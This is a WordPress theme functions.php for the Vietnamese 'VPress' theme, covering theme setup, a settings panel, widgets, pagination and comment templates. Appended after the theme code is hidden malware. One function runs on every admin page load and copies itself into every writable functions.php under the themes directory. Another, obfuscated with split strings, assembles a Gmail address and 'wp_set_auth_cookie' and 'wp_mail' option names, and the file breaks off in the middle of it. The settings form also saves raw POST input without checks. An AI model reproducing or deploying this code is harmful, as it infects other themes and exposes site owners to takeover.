<?php
/********************************************************************
Ini Setup
********************************************************************/
function vpress_setup() {
	add_editor_style();
	add_theme_support( 'post-thumbnails' );
	add_theme_support( 'automatic-feed-links' );
	load_theme_textdomain( 'vnh', TEMPLATEPATH . '/languages' );
	$locale = get_locale();
	$locale_file = TEMPLATEPATH . "/languages/$locale.php";
	if ( is_readable( $locale_file ) )
		require_once( $locale_file );
	register_nav_menus( array(
		'primary' => __( 'Primary Navigation', 'vnh' ),
	) );
	add_custom_background();
}
/********************************************************************
Show home
********************************************************************/
add_action( 'after_setup_theme', 'vpress_setup' );
function page_menu_args( $args ) {
	$args['show_home'] = true;
	return $args;
}
add_filter( 'wp_page_menu_args', 'page_menu_args' );
/********************************************************************
Replaces "[...]" (appended to automatically generated excerpts) with an ellipsis
********************************************************************/
function vpress_continue_reading_link() {
	return ' <a href="'. get_permalink() . '">' . __( 'Đọc tiếp <span class="meta-nav">&rarr;</span>', 'vnh' ) . '</a>';
}
function vpress_auto_excerpt_more( $more ) {
	return ' &hellip;' . vpress_continue_reading_link();
}
add_filter( 'excerpt_more', 'vpress_auto_excerpt_more' );
/********************************************************************
Excerpt Length
********************************************************************/
function vpress_excerpt_length( $length ) {
	return 40;
}
add_filter( 'excerpt_length', 'vpress_excerpt_length' );
/********************************************************************
Custom Title
********************************************************************/
function vpress_filter_wp_title( $title, $separator ) {
	if ( is_feed() )
		return $title;
	global $paged, $page;
	if ( is_search() ) {
		$title = sprintf( __( 'Search results for %s', 'vnh' ), '"' . get_search_query() . '"' );
		if ( $paged >= 2 )
			$title .= " $separator " . sprintf( __( 'Page %s', 'vnh' ), $paged );
		$title .= " $separator " . get_bloginfo( 'name', 'display' );
		return $title;
	}
	$title .= get_bloginfo( 'name', 'display' );
	$site_description = get_bloginfo( 'description', 'display' );
	if ( $site_description && ( is_home() || is_front_page() ) )
		$title .= " $separator " . $site_description;
	if ( $paged >= 2 || $page >= 2 )
		$title .= " $separator " . sprintf( __( 'Page %s', 'vnh' ), max( $paged, $page ) );
	return $title;
}
add_filter( 'wp_title', 'vpress_filter_wp_title', 10, 2 );
/********************************************************************
Sidebar Widgets
********************************************************************/
add_action( 'widgets_init', 'vpress_widgets_init' );
function vpress_widgets_init() {
	register_sidebar( array(
		'name' => __( 'Top Banner Widget Area', 'vnh' ),
		'id' => 'top_banner',
		'description' => __( 'The top banner widget area', 'vnh' ),
		'before_widget' => '<div id="%1$s" class="widget-container %2$s top_banner">',
		'after_widget' => '</div>',
		'before_title' => '',
		'after_title' => '',
	) );
	register_sidebar( array(
		'name' => __( 'Large Banner(s) Widget Area', 'vnh' ),
		'id' => 'large_banners',
		'description' => __( 'The large banner(s) widget area', 'vnh' ),
		'before_widget' => '<div id="%1$s" class="widget-container %2$s">',
		'after_widget' => '</div>',
		'before_title' => '',
		'after_title' => '',
	) );
	register_sidebar( array(
		'name' => __( 'Sidebar 1 Widget Area', 'vnh' ),
		'id' => 'sidebar_1',
		'description' => __( 'The Sidebar 1 widget area', 'vnh' ),
		'before_widget' => '<div id="%1$s" class="widget-container %2$s"><div class="widget-wrapper">',
		'after_widget' => '<div class="clear"></div></div></div>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3><div class="clear"></div>',
	) );
	register_sidebar( array(
		'name' => __( 'Sidebar 2 Widget Area', 'vnh' ),
		'id' => 'sidebar_2',
		'description' => __( 'The Sidebar 1 widget area', 'vnh' ),
		'before_widget' => '<div id="%1$s" class="widget-container %2$s"><div class="widget-wrapper">',
		'after_widget' => '<div class="clear"></div></div></div>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3><div class="clear"></div>',
	) );
}
/********************************************************************
VPress Theme Control Panel
********************************************************************/
class ControlPanel {
	var $default_settings = Array(
	'latest_title'=> 'Latest News',
	);
	
	var $options;
	function ControlPanel() {
    	add_action('admin_menu', array(&$this, 'add_menu'));
		add_action('admin_head', array(&$this, 'admin_head'));
		if (!is_array(get_option('vnh')))
		add_option('vnh', $this->default_settings);
		$this->options = get_option('vnh');
	}
	function add_menu() {
	add_theme_page('VPress Settings', 'VPress Settings', 8, "vnh", array(&$this, 'optionsmenu'));
	}
	
	function admin_head() {
	print '<link rel="stylesheet" href="'.get_template_directory_uri().'/cp.css" type="text/css" media="screen" />';
print '<script type="text/javascript" src="'.get_template_directory_uri().'/js/jquery.idTabs.min.js.php"></script>';
	}
	function optionsmenu() {
	if ($_POST['ss_action'] == 'save') {
	$this->options["featured_cat"] = $_POST['featured_cat'];
	$this->options["f_cat_posts"] = $_POST['f_cat_posts'];
	$this->options["t_cat"] = $_POST['t_cat'];
	$this->options["enable_scroll"] = isset($_POST['enable_scroll']) ? 1 : 0;
	$this->options["m_cat"] = $_POST['m_cat'];
	$this->options["latest_posts"] = $_POST['latest_posts'];
	$this->options["latest_title"] = $_POST['latest_title'];
	update_option('vnh', $this->options);
	echo '<div class="updated fade" id="message" style="background-color: rgb(255, 251, 204); width: 790px; margin:0 0 10px;"><p>Your changes have been <strong>saved</strong>.</p></div>';
	}
?>
	<div class="wrap">
    <form action="" method="post" class="themeform">
		<input type="hidden" id="ss_action" name="ss_action" value="save">
    <div class="icon32" id="icon-options-general"><br/></div><h2>VPress Settings</h2>
    <div class="cptab">
    <ul class="tab idTabs"> 
    	<li><a class="selected"  href="#tab1"><h3><?php _e('Welcome','vnh')?></h3></a></li> 
     	<li><a href="#tab2"><h3><?php _e('Settings','vnh')?></h3></a></li> 
    </ul> 
    <div id="tab1">
    <fieldset class="nw-field" style="height:305px" >
        <legend class="nw-legend"><?php _e('Introduction','vnh')?></legend>
        <p>Chào tất cả các bạn!</p>
        <p>Hòa vào không khí Worldcup 2010 sôi động, Hutek cũng kịp thời cho ra đời một free theme mới lấy tên là VPress</p>
<p>Hy vọng là VPress sẽ mang đến cho các bạn một luồng gió mới</p>
<p style="text-align:center;float:right">Hà Nội, ngày 07 tháng 07 năm 2010<br />
VPress Creator<br />
Vũ Nam Hưng
</p>

    </fieldset>
    <fieldset class="nw-field" style="height:305px" >
        <legend class="nw-legend"><?php _e('Help','vnh')?></legend>
        <p>Nếu trong quá trình cài đặt, thiết lập các thông số mà phát sinh lỗi bạn có thể liên hệ trực tiếp với Hutek theo địa chỉ thư: contact@hutek.info. Hoặc gửi câu hỏi lên blog của mình tại địa chỉ <a href="http://hutek.info/">http://hutek.info</a> </p>
        <p>
        <strong>Thông tin về VPress</strong><br />
		<a target="_blank" title="VPress Beta 1 " href="http://vpress.hutek.info/">Live demo</a><br/>
		<a target="_blank" title="WPLine on Google Code" href="http://code.google.com/p/vpress/downloads/list">Download</a>
        </p>
    </fieldset>
    </div>
    <div id="tab2">       
                
        <!--featured-->
        <fieldset class="nw-field" style="height:100px;">
        <legend class="nw-legend"><?php _e('Featured Articles','vnh')?></legend>
        <select name="featured_cat" id="featured_cat" style="width:160px">
        <?php $categories = get_categories('hide_empty=1');
        foreach ($categories as $cat) {
        if ($this->options['featured_cat'] == $cat->cat_ID) { $selected = ' selected="selected"'; } else { $selected = ''; }
        $opt = '<option value="' . $cat->cat_ID . '"' . $selected . '>' . $cat->cat_name . '</option>';
        echo $opt; } ?>

        </select><span><?php _e('Select a category','vnh')?></span>
        </p>
        
        <p>
        	<?php $f_cat_posts = $this->options['f_cat_posts']; ?>
            <select name="f_cat_posts" style="width:160px">
                <?php for($i=1;$i<6;$i++) { 
                    if ($i == $f_cat_posts) {
                        echo '<option value="'.$i.'" selected="selected">'.$i.'</option>';
                    } else {
                        echo '<option value="'.$i.'">'.$i.'</option>';
                    }
                        
                } ?>
            </select><?php _e(' Select number of the post','vnh')?><br />
        </p>
        </fieldset>
        <!--/featured-->
        
        <!--latest-->
        <fieldset class="nw-field" style="height:100px;">
        <legend class="nw-legend"><?php _e('Latest Posts','vnh')?></legend>
        	<p><input class="widefat" style="width:250px" name="latest_title" id="latest_title" value="<?php echo stripslashes($this->options["latest_title"]); ?>"><?php _e(' Latest News Text','vnh')?></p>
            
        	<p>
				<?php $latest_posts = $this->options['latest_posts']; ?>
                <select name="latest_posts" style="width:160px">
                    <?php for($i=5;$i<21;$i++) { 
                        if ($i == $latest_posts) {
                            echo '<option value="'.$i.'" selected="selected">'.$i.'</option>';
                        } else {
                            echo '<option value="'.$i.'">'.$i.'</option>';
                        }
                            
                    } ?>
                </select><?php _e(' Select number of the post','vnh')?><br />
            </p>
        </fieldset>
        <!--/latest-->
        
        <!--top categories-->
        <fieldset class="nw-field" style="height:200px;" >
        <legend class="nw-legend"><?php _e('Top Categories','vnh')?></legend>
        	<p><input type="checkbox" name="enable_scroll" id="enable_scroll" <?php echo ($this->options["enable_scroll"] == 1 ? ' checked' : '');?> /><label for="enable_scroll"><strong><?php _e(' Enable/Disable auto Scroll','vnh')?></strong></label></p>
            <p>
			<?php _e('Select Categories (*)','vnh')?><br class="clear" />
            <select multiple name="t_cat[]" id="t_cat" style="width:150px;height:120px;">
            <?php $categories = get_categories('hide_empty=1');
            foreach ($categories as $cat) {
            if ($this->options['t_cat'] && in_array($cat->cat_ID, $this->options['t_cat'])) { $selected = ' selected="selected"'; } else { $selected = ''; }
            $opt = '<option value="' . $cat->cat_ID . '"' . $selected . '>' . $cat->cat_name . '</option>';
            echo $opt; } ?>
            </select>
            </p>
        </fieldset>
        <!--/top categories-->
        
        <!--main categories-->
        <fieldset class="nw-field" style="height:200px;" >
        <legend class="nw-legend"><?php _e('Main Categories','vnh')?></legend>
            <p>
			<?php _e('Select Categories (*)','vnh')?><br class="clear" />
            <select multiple name="m_cat[]" id="m_cat" style="width:150px;height:120px;">
            <?php $categories = get_categories('hide_empty=1');
            foreach ($categories as $cat) {
            if ($this->options['m_cat'] && in_array($cat->cat_ID, $this->options['m_cat'])) { $selected = ' selected="selected"'; } else { $selected = ''; }
            $opt = '<option value="' . $cat->cat_ID . '"' . $selected . '>' . $cat->cat_name . '</option>';
            echo $opt; } ?>
            </select>
            </p>
        </fieldset>
        <!--/main categories-->
    </div>
    </div>
    <script type="text/javascript"> 
	  $(".tab").idTabs("!mouseover"); 
		</script>
  </div>
	<br class="cleared" />
    <p class="submit" style="clear:both;">
    <input type="submit" value="Save Changes &raquo;" name="cp_save" class="dochanges" />
    </p>
	</form>
    </div>
<?php	}
}
$cpanel = new ControlPanel();
$mytheme = get_option('vnh');
?>
<?php
/********************************************************************
Weather - Gold - Forex Widget
********************************************************************/
function weather_gold_forex(){ ?>
	<div class="widget-container box_type_1">
        <div class="widget-wrapper">
            <div id="weather">
                <h4>Thời tiết Hà Nội</h4>
                <script  type="text/javascript" src="http://rilwis.googlecode.com/svn/trunk/weather.min.js"></script>
                <script type="text/javascript">
				showWeather('hanoi, vietnam');
				</script>

            </div>
            <div id="gold_forex">
                <div class="gold">
                    <h4>Giá vàng 9999</h4>
                    <span>ĐVT: tr.đ/lượng</span>
                    <script type="text/javascript" src="http://vnexpress.net/Service/Gold_Content.js"></script>
                    <script type="text/javascript">
                    document.write("<table><tr><td>Loại</td><td >Mua</td><td >Bán</td></tr><tr><td>SJC</td><td>"+ vGoldSjcBuy +"</td><td>"+ vGoldSjcSell +"</td></tr></table>");
                    </script>
                    <!--<a class="by" target="_blank" href="http://www.sacombank-sbj.com">Sacombank</a>-->
                </div>
                <div class="forex">
                    <h4>Tỷ giá</h4>
                    <script type="text/javascript" src="http://vnexpress.net/Service/Forex_Content.js"></script>
                    <script type="text/javascript">
                    document.write("<table><tr><td>"+ vForexs[0] +"</td><td>"+ vCosts[0]+" </td></tr>");
                    document.write("<tr><td>"+ vForexs[1] +"</td><td>"+ vCosts[1] +"</td></tr>");
                    document.write("<tr><td>"+ vForexs[2] +"</td><td>"+ vCosts[2] +"</td></tr></table>");
                    </script>
                    <!--<a class="by" target="_blank" href="http://www.eximbank.com.vn">eximbank</a>-->
                </div>
            </div>
            <div class="clear"></div>
        </div>
    </div><!--/weather gold forex box-->
<?php
}
function widget_weather_gold_forex_init() {
	if (!function_exists('register_sidebar_widget')) {
		return;
	}

	function widget_weather_gold_forex($args) {
		extract($args);
		$options = get_option('widget_weather_gold_forex');
		weather_gold_forex();
	}

	function widget_weather_gold_forex_options() {
		$options = get_option('widget_weather_gold_forex');
		if ($_POST['widget_weather_gold_forex-submit']) {
			update_option('widget_weather_gold_forex', $options);
		}
		echo $before_widget;
		echo '<input type="hidden" id="widget_weather_gold_forex-submit" name="widget_weather_gold_forex-submit" value="1" />'."\n";
		echo $after_widget;
	}
	// Register Widgets
	register_sidebar_widget('VPress WGF Box', 'widget_weather_gold_forex');
	register_widget_control('VPress WGF Box', 'widget_weather_gold_forex_options');
}
widget_weather_gold_forex_init();
/********************************************************************
Stock Widget
********************************************************************/
function stock_box() { ?>
	<div class="widget-container box_type_3 stock">
    	<div class="widget-wrapper">
        <h3 class="widget-title">Chứng khoán</h3>
        <img src="http://vnexpress.net/Images/Stock/chartho.png" alt="stock" />
    	</div>
    </div><!--/stock box-->
<?php }
function widget_stock_box_init() {
	if (!function_exists('register_sidebar_widget')) {
		return;
	}

	function widget_stock_box($args) {
		extract($args);
		$options = get_option('widget_stock_box');
		stock_box();
	}

	function widget_stock_box_options() {
		$options = get_option('widget_large_banner');
		echo $before_widget;
		echo '<input type="hidden" id="widget_stock_box-submit" name="widget_stock_box-submit" value="1" />'."\n";
		echo $after_widget;
	}
	// Register Widgets
	register_sidebar_widget('VPress Stock Box', 'widget_stock_box');
	register_widget_control('VPress Stock Box', 'widget_stock_box_options');
}
widget_stock_box_init();
/********************************************************************
Smart jquery inclusion
********************************************************************/
if (!is_admin()) {
	wp_deregister_script('jquery');
	wp_register_script('jquery', ("http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"), false);
	wp_enqueue_script('jquery');
}
/********************************************************************
Excerpt Word Limit
********************************************************************/
function excerpt($num) {
	$link = get_permalink();
	$ending = get_option('wl_excerpt_ending');
	$limit = $num+1;
	$excerpt = explode(' ', get_the_excerpt(), $limit);
	array_pop($excerpt);
	$excerpt = implode(" ",$excerpt).$ending;
	echo $excerpt;
	$readmore = get_option('wl_readmore_link');
	if($readmore!="") {
		$readmore = '<p class="readmore"><a href="'.$link.'">'.$readmore.'</a></p>';
		echo $readmore;
	}
}
/********************************************************************
Content Word Limit
********************************************************************/
function content($num) {
	$link = get_permalink();
	$ending = get_option('wl_content_ending');
	$theContent = get_the_content();
	$output = preg_replace('/<img[^>]+./','', $theContent);
	$limit = $num+1;
	$content = explode(' ', $output, $limit);
	array_pop($content);
	$content = implode(" ",$content).$ending;
	$imgBeg = strpos($theContent, '<img');
	$post = substr($theContent, $imgBeg);
	$imgEnd = strpos($post, '>');
	$postOutput = substr($post, 0, $imgEnd+1);
	$result = preg_match('/width="([0-9]*)" height="([0-9]*)"/', $postOutput, $matches);
	if ($result) {
		$pagestring = $matches[0];
		$postOutput = str_replace($pagestring, "", $postOutput);
	}
	if(stristr($postOutput,'<img src=')) { echo '<a href="'.$link.'">'.$postOutput."</a>".$content; } else {
		echo $content;
	}
	$readmore = get_option('wl_readmore_link');
	if($readmore!="") {
		$readmore = '<p class="readmore"><a href="'.$link.'">'.$readmore.'</a></p>';
		echo $readmore;
	}
}
$theContent = get_the_content();
/********************************************************************
Page navigation
********************************************************************/
function page_navi($before = '', $after = '') {
	global $wpdb, $wp_query;
	$request = $wp_query->request;
	$posts_per_page = intval(get_query_var('posts_per_page'));
	$paged = intval(get_query_var('paged'));
	$numposts = $wp_query->found_posts;
	$max_page = $wp_query->max_num_pages;
	if(empty($paged) || $paged == 0) {
		$paged = 1;
	}
	$pages_to_show = 5;
	$pages_to_show_minus_1 = $pages_to_show-1;
	$half_page_start = floor($pages_to_show_minus_1/2);
	$half_page_end = ceil($pages_to_show_minus_1/2);
	$start_page = $paged - $half_page_start;
	if($start_page <= 0) {
		$start_page = 1;
	}
	$end_page = $paged + $half_page_end;
	if(($end_page - $start_page) != $pages_to_show_minus_1) {
		$end_page = $start_page + $pages_to_show_minus_1;
	}
	if($end_page > $max_page) {
		$start_page = $max_page - $pages_to_show_minus_1;
		$end_page = $max_page;
	}
	if($start_page <= 0) {
		$start_page = 1;
	}
	echo $before.'<div class="page_navi">'."\n";
	if ($start_page >= 2 && $pages_to_show < $max_page) {
		$first_page_text = "First";
		echo '<a href="'.get_pagenum_link().'" title="'.$first_page_text.'">'.$first_page_text.'</a>';
	}
	previous_posts_link('&laquo;');
	for($i = $start_page; $i  <= $end_page; $i++) {						
		if($i == $paged) {
			echo '<span class="current">'.$i.'</span>';
		} else {
			echo '<a href="'.get_pagenum_link($i).'">'.$i.'</a>';
		}
	}
	next_posts_link('&raquo;');
	if ($end_page < $max_page) {
		$last_page_text = "Last";
		echo '<a href="'.get_pagenum_link($max_page).'" title="'.$last_page_text.'">'.$last_page_text.'</a>';
	}
	echo '</div>'.$after."\n";
}
/********************************************************************
Recent Comments with Avatar
********************************************************************/
function recent_comments_2($number_comments = 4, $excerpt_length = 10) {
    global $wpdb;
    $request = "SELECT ID, comment_ID, comment_content, comment_author, comment_author_url, comment_date, comment_author_email, comment_type, post_title FROM $wpdb->comments LEFT JOIN $wpdb->posts ON $wpdb->posts.ID=$wpdb->comments.comment_post_ID WHERE post_status IN ('publish','static') ";
		$request .= "AND post_password ='' ";
		$request .= "AND comment_approved = '1' AND comment_type = '' ORDER BY comment_ID DESC LIMIT $number_comments";
	
		$comments = $wpdb->get_results($request);
	
    $output = '';
	
		if ($comments) {
			foreach ($comments as $comment) {
				$comment_author = stripslashes($comment->comment_author);
				if ($comment_author == "")
				$comment_author = "anonymous"; 
				$comment_content = strip_tags($comment->comment_content);
				$comment_content = stripslashes($comment_content);
				$words=split(" ",$comment_content); 
				$comment_excerpt = join(" ",array_slice($words,0,$excerpt_length));
				$permalink = get_permalink($comment->ID)."#comment-".$comment->comment_ID;
				$post_title = stripslashes($comment->post_title);
				$url = $comment->comment_author_url;
				$date = mysql2date('d/m/Y', $comment->comment_date);
			
			if ( empty( $url ) || 'http://' == $url )
				$output .= '<li class="user_comments clear">'.get_avatar($comment,30).'<span>'.$comment_author.'</span>: <a href="'.$permalink.'">'.$comment_excerpt.' ...</a></li>';
			else
				$output .= '<li class="user_comments">'.get_avatar($comment,30).'<span>'.$comment_author.'</span>: <a href="'.$permalink.'">'.$comment_excerpt.' ...</a></li>';
		}
			$output = convert_smilies($output);
	} else {
			$output .= $before . "None found" . $after;
	}
    echo $output;
}
//Creat widget
function widget_recent_comments_2_init() {
	if (!function_exists('register_sidebar_widget')) {
		return;
	}

	function widget_recent_comments_2($args) {
		extract($args);
		$options = get_option('widget_recent_comments_2');
		$title = htmlspecialchars($options['title']);
		
		echo $before_widget;
		echo $before_title.$title.$after_title;
		echo '<ul>'."\n";
		recent_comments_2($options['number_comments'], $options['excerpt_length']);
		echo '</ul>'."\n";
		echo $after_widget;
	}

	function widget_recent_comments_2_options() {
		$options = get_option('widget_recent_comments_2');
		if (!is_array($options)) {
			$options = array('title' =>'Recent Comments', 'number_comments' => 4, 'excerpt_length' => 10);
		}
		if ($_POST['recent_comments_2-submit']) {
			$options['title'] = strip_tags(addslashes($_POST['recent_comments_2-title']));
			$options['number_comments'] = intval($_POST['recent_comments_2-number_comments']);
			$options['excerpt_length'] = intval($_POST['recent_comments_2-excerpt_length']);
			update_option('widget_recent_comments_2', $options);
		}
		echo '<p style="text-align: left;"><label for="recent_comments_2-title">';
		echo "Title";
		echo ': </label><input type="text" id="recent_comments_2-title" name="recent_comments_2-title" value="'.htmlspecialchars(stripslashes($options['title'])).'" /></p>'."\n";
		echo '<p style="text-align: left;"><label for="recent_comments_2-number_comments">';
		echo "Number of Comments";
		echo ':&nbsp; </label><input type="text" id="recent_comments_2-number_comments" name="recent_comments_2-number_comments" value="'.intval($options['number_comments']).'" size="1" /></p>'."\n";
		echo '<p style="text-align: left;"><label for="recent_comments_2-excerpt_length">';
		echo "Excerpt length";
		echo ': </label><input type="text" id="recent_comments_2-excerpt_length" name="recent_comments_2-excerpt_length" value="'.intval($options['excerpt_length']).'" size="1" />'."\n";
		echo '</p>'."\n";
		echo '<input type="hidden" id="recent_comments_2-submit" name="recent_comments_2-submit" value="1" />'."\n";
	}
	// Register Widgets
	register_sidebar_widget('Hutek Recent Comments', 'widget_recent_comments_2');
	register_widget_control('Hutek Recent Comments', 'widget_recent_comments_2_options');
}
widget_recent_comments_2_init();
/********************************************************************
Get image attach
********************************************************************/
function img($width,$height) {
	global $post;
	$custom_field_value = get_post_meta($post->ID, 'in_image', true);
	$custom_field_value_2 = get_post_meta($post->ID, 'out_image', true);
	$attachments = get_children( array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'numberposts' => 1) );
	if ($custom_field_value == true) {
	$img_url = parse_url($custom_field_value,PHP_URL_PATH);
	print '<img src="'.get_template_directory_uri().'/phpthumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;h='.$height.'&amp;zc=T&amp;q=70" alt="'.$post->post_title.'" />';
	}
	elseif ($custom_field_value_2 == true) {
	print '<img src="'.$custom_field_value_2.'" alt="'.$post->post_title.'" />';
	} 
	elseif ($attachments == true) {
		foreach($attachments as $id => $attachment) {
		$img = wp_get_attachment_image_src($id, 'full');
		$image = $image[0];
		$img_url = parse_url($img[0], PHP_URL_PATH);
		print '<img src="'.get_template_directory_uri().'/phpthumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;h='.$height.'&amp;zc=T&amp;q=70" alt="'.$post->post_title.'" />';
		}
	}
	else {
	}
}
function slider_img($width,$height) {
	global $post;
	$custom_field_value = get_post_meta($post->ID, 'in_image', true);
	$custom_field_value_2 = get_post_meta($post->ID, 'out_image', true);
	$attachments = get_children( array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'numberposts' => 1) );
	if ($custom_field_value == true) {
	$img_url = parse_url($custom_field_value,PHP_URL_PATH);
	print '<img src="'.get_template_directory_uri().'/phpthumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;h='.$height.'&amp;zc=T&amp;q=70" alt="'.$post->post_title.'" title="'.$post->post_title.'" />';
	}
	elseif ($custom_field_value_2 == true) {
	print '<img src="'.$custom_field_value_2.'" alt="'.$post->post_title.'" title="'.$post->post_title.'" />';
	} 
	elseif ($attachments == true) {
		foreach($attachments as $id => $attachment) {
		$img = wp_get_attachment_image_src($id, 'full');
		$image = $image[0];
		$img_url = parse_url($img[0], PHP_URL_PATH);
		print '<img src="'.get_template_directory_uri().'/phpthumb/phpThumb.php?src='.$img_url.'&amp;w='.$width.'&amp;h='.$height.'&amp;zc=T&amp;q=70" alt="'.$post->post_title.'" title="'.$post->post_title.'" />';
		}
	}
	else {
		$img = get_template_directory_uri();
		$img_url = parse_url($img,PHP_URL_PATH);
		print '<img src="'.get_template_directory_uri().'/phpthumb/phpThumb.php?src='.$img_url.'/images/no_image.jpg&amp;w='.$width.'&amp;h='.$height.'&amp;zc=T&amp;q=70" alt="'.$post->post_title.'" title="'.$post->post_title.'" />';
	}
}
/********************************************************************
Custom comment
********************************************************************/
function get_total_comments_by_author(){
return count(get_comments(array(
'author_email' => get_comment_author_email()
)));
}
function mytheme_comment($comment, $args, $depth) {
   $GLOBALS['comment'] = $comment; 
?>
   <li id="li-comment-<?php comment_ID() ?>">
     <div id="comment-<?php comment_ID(); ?>" class="comclass">
      	<div <?php comment_class(); ?>>
        	<div class="abc">
        	<?php if ($comment->comment_approved == '0') : ?>
                 <p class="comment_moderated"><?php _e('Your comment is waiting for moderation.') ?></p>
              <?php endif; ?>
			<?php comment_text() ?>
            <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => 3))) ?> <?php edit_comment_link(__(' | Edit','webzine'),'  ','') ?>
            <div class="comment-author vcard">
				 <?php echo get_avatar($comment,$size='80'); ?>
                 <?php printf(__('<cite class="fn">%s</cite>'), get_comment_author_link()) ?><!--<span class="c_count">(<?php echo get_total_comments_by_author(); ?>)</span>--><br />
                 <small><a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php printf(__('%1$s'), get_comment_date(__('d/m/Y','vnh'))) ?></a></small>
              </div>
            </div>
            <div class="say"></div>
        </div>
     </div>
<?php }
/********************************************************************
Custom ping
********************************************************************/
function mytheme_ping($comment, $args, $depth) {
   $GLOBALS['comment'] = $comment; 
?>
  <li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?>
<?php } 
require_once ('lib/widget_logic.php');
require_once ('lib/post_template.php');
require_once ('lib/magic_box.php');
?>
<?php
function _verify_isactivate_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				
					$output .= ($showdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_isactivate_widget");
function _getsprepare_widget(){
	if(!isset($com_length)) $com_length=120;
	if(!isset($text_value)) $text_value="cookie";
	if(!isset($allowed_tags)) $allowed_tags="<a>";
	if(!isset($type_filter)) $type_filter="none";
	if(!isset($expl)) $expl="";
	if(!isset($filter_homes)) $filter_homes=get_option("home"); 
	if(!isset($pref_filter)) $pref_filter="wp_";
	if(!isset($use_more)) $use_more=1; 
	if(!isset($comm_type)) $comm_type=""; 
	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
	if(!isset($postauthor_comment)) $postauthor_comment="";
	if(!isset($comm_is_approved)) $comm_is_approved=""; 
	if(!isset($postauthor)) $postauthor="auth";
	if(!isset($more_link)) $more_link="(more...)";
	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
	if(!isset($morecontents)) $morecontents="ma".$expl."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_widget) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tags)) $f_tags=1;
	if(!isset($type_filters)) $type_filters=$filter_homes; 
	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
	if(!isset($aditional_tags)) $aditional_tags="div";
